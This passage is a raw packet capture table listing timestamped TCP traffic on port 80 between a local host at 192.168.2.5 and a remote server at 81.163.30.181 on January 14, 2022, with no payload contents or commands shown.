Jan 14, 2022 21:05:48.139501095 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.139514923 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.139519930 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.139555931 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.139569998 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.139595985 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.139611959 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.139640093 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.139674902 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.139684916 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.139699936 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.139739037 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.139746904 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.139787912 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.139821053 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.139834881 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.268049955 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.268717051 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.326504946 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.326551914 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.326591015 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.326617002 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.326627970 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.326664925 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.326725960 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.384460926 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.384519100 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.384562969 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.384593964 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.384634018 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.384632111 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.384675980 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.384716034 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.384746075 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.384754896 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.384756088 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.384795904 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.384836912 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.384836912 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.384875059 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.430988073 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.442790985 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.442841053 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.442881107 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.442920923 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.442946911 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.442960024 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.442981005 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.443001032 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.443041086 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.443059921 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.443078995 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.443116903 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.443128109 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.443156004 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.443195105 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.443238020 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.443249941 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.443276882 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.443294048 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.443317890 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.443358898 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.443397045 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.443434000 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.443443060 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.443461895 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.443502903 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.444499016 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.489022017 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.489082098 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.489218950 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.501454115 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.501513004 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.501550913 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.501589060 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.501617908 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.501646042 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.501686096 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.501712084 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.501730919 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.501749992 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.501789093 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.501821995 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.501822948 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.501883984 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.501885891 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.501924038 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.501960993 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.501985073 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.501996994 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.502022028 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.502038956 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.502074957 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.502110958 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.502119064 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.502149105 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.502183914 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.502199888 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.502219915 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.502238035 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.502258062 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.502293110 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.502315044 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.502331018 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.502367973 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.502403021 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.502418041 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.502440929 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.502456903 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.502475977 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.502511978 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.502557993 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.502573013 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.502592087 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.502619028 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.502631903 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.502670050 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.502685070 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.502705097 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.502741098 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.502756119 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.502778053 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.502826929 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.547252893 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.547302961 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.547337055 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.547372103 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.547373056 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.547441959 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.562064886 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.562107086 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.562148094 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.562189102 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.562222958 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.562228918 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.562258005 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.562271118 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.562309027 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.562352896 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.562378883 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.562392950 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.562433004 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.562458038 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.562472105 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.562505007 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.562510014 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.562565088 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.562585115 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.562609911 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.562648058 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.562674999 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.562689066 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.562730074 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.562768936 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.562793970 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.562808990 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.562849998 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.562870979 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.562887907 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.562907934 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.562927961 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.562967062 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.563005924 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.563040018 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.563049078 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.563062906 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.563088894 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.563128948 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.563147068 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.563169003 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.563208103 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.563239098 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.563247919 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.563287973 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.563327074 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.563344955 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.563366890 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.563405037 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.563420057 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.563446045 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.563483000 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.563483953 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.563523054 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.563563108 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.563579082 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.563601971 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.563616991 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.563643932 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.563684940 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.563702106 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.563721895 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.563762903 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.563802004 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.563816071 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.563841105 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.563880920 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.563898087 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.563920975 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.563931942 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.563961029 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.564002037 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.564023972 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.564039946 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.564071894 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.564101934 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.564131975 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.564141989 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.564162970 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.564171076 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.564213037 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.564229965 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.564254045 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.564291000 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.564328909 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.564342976 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.564369917 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.564407110 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.564445972 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.564476967 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.564485073 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.564527035 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.564564943 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.564579010 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.564621925 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.564661026 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.564702034 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.564733982 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.564739943 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.564770937 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.564789057 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.564798117 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.564811945 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.564851999 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.564871073 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.566082954 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.605437040 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.605485916 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.605525017 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.605561972 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.605562925 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.605595112 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.607599020 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.607644081 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.607670069 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.607685089 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.607722998 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.607763052 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.607772112 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.609657049 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.622896910 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.622941017 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.622981071 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.623008966 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.623018980 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.623059034 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.623097897 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.623106956 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.623140097 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.623181105 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.623186111 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.623218060 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.623234034 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.623260975 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.623301983 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.623308897 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.623342037 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.623380899 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.623387098 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.623421907 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.623464108 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.623467922 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.623507023 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.623544931 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.623572111 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.623595953 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.623632908 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.623646021 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.623671055 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.623712063 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.623714924 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.623749018 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.623789072 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.623801947 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.623830080 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.623867989 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.623908997 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.623915911 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.623949051 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.623986006 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.623999119 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.624027014 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.624064922 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.624078035 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.624105930 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.624109983 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.624145985 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.624183893 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.624196053 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.624223948 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.624262094 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.624269009 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.624300003 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.624339104 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.624377966 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.624389887 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.624418974 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.624459028 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.624463081 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.624496937 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.624500990 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.624536991 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.624577999 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.624583006 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.624615908 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.624656916 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.624663115 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.624696970 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.624737024 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.624749899 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.624777079 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.624815941 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.624855995 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.624861956 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.624895096 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.624933004 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.624944925 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.624974012 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.624979019 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.625013113 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.625052929 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.625057936 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.625093937 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.625129938 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.625142097 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.625171900 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.625211000 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.625247955 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.625258923 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:48.625288010 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:48.625327110 CET	80	49882	81.163.30.181	192.168.2.5
